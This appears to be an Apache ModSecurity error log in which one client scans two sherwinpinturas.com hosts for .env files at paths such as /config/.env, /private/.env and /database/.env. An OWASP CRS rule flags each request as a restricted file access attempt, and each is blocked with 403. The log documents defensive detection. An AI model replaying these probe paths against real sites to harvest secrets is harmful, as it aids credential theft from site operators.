[Mon Oct 26 02:13:26.540911 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at7vhpMnyYq70WIUET3r-QAAABc"]
[Mon Oct 26 02:13:26.541118 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at7vhpMnyYq70WIUET3r-QAAABc"]
[Mon Oct 26 02:13:26.841178 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at7vhpMnyYq70WIUET3r-gAAABc"]
[Mon Oct 26 02:13:26.841424 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at7vhpMnyYq70WIUET3r-gAAABc"]
[Mon Oct 26 02:13:26.841805 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at7vhpMnyYq70WIUET3r-gAAABc"]
[Mon Oct 26 02:13:26.843120 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at7vhssSJ_JPXSgPpTUB-wAAAA4"]
[Mon Oct 26 02:13:26.843305 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at7vhssSJ_JPXSgPpTUB-wAAAA4"]
[Mon Oct 26 02:13:26.843513 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at7vhssSJ_JPXSgPpTUB-wAAAA4"]
[Mon Oct 26 02:13:27.061077 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_AAAAA4"]
[Mon Oct 26 02:13:27.061593 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_AAAAA4"]
[Mon Oct 26 02:13:27.061859 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_AAAAA4"]
[Mon Oct 26 02:13:27.139619 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at7vh5MnyYq70WIUET3r-wAAABc"]
[Mon Oct 26 02:13:27.139882 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at7vh5MnyYq70WIUET3r-wAAABc"]
[Mon Oct 26 02:13:27.140254 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at7vh5MnyYq70WIUET3r-wAAABc"]
[Mon Oct 26 02:13:27.309559 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_QAAAA4"]
[Mon Oct 26 02:13:27.309796 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_QAAAA4"]
[Mon Oct 26 02:13:27.310095 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_QAAAA4"]
[Mon Oct 26 02:13:27.355170 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh5MnyYq70WIUET3r_AAAABc"]
[Mon Oct 26 02:13:27.355450 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh5MnyYq70WIUET3r_AAAABc"]
[Mon Oct 26 02:13:27.355696 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh5MnyYq70WIUET3r_AAAABc"]
[Mon Oct 26 02:13:27.355748 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh5MnyYq70WIUET3r_AAAABc"]
[Mon Oct 26 02:13:27.355761 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh5MnyYq70WIUET3r_AAAABc"]
[Mon Oct 26 02:13:27.622086 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_gAAAA4"]
[Mon Oct 26 02:13:27.622338 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_gAAAA4"]
[Mon Oct 26 02:13:27.622611 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_gAAAA4"]
[Mon Oct 26 02:13:27.623988 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at7vh5MnyYq70WIUET3r_QAAABc"]
[Mon Oct 26 02:13:27.624131 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at7vh5MnyYq70WIUET3r_QAAABc"]
[Mon Oct 26 02:13:27.624391 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at7vh5MnyYq70WIUET3r_QAAABc"]
[Mon Oct 26 02:13:27.844916 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_wAAAA4"]
[Mon Oct 26 02:13:27.845145 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_wAAAA4"]
[Mon Oct 26 02:13:27.845429 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at7vh8sSJ_JPXSgPpTUB_wAAAA4"]
[Mon Oct 26 02:13:27.846533 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at7vh5MnyYq70WIUET3r_gAAABc"]
[Mon Oct 26 02:13:27.846671 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at7vh5MnyYq70WIUET3r_gAAABc"]
[Mon Oct 26 02:13:27.846933 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at7vh5MnyYq70WIUET3r_gAAABc"]
[Mon Oct 26 02:13:28.070652 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at7viJMnyYq70WIUET3r_wAAABc"]
[Mon Oct 26 02:13:28.070904 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at7viJMnyYq70WIUET3r_wAAABc"]
[Mon Oct 26 02:13:28.071178 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at7viJMnyYq70WIUET3r_wAAABc"]
[Mon Oct 26 02:13:28.077603 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAAAAAA4"]
[Mon Oct 26 02:13:28.077763 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAAAAAA4"]
[Mon Oct 26 02:13:28.078090 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAAAAAA4"]
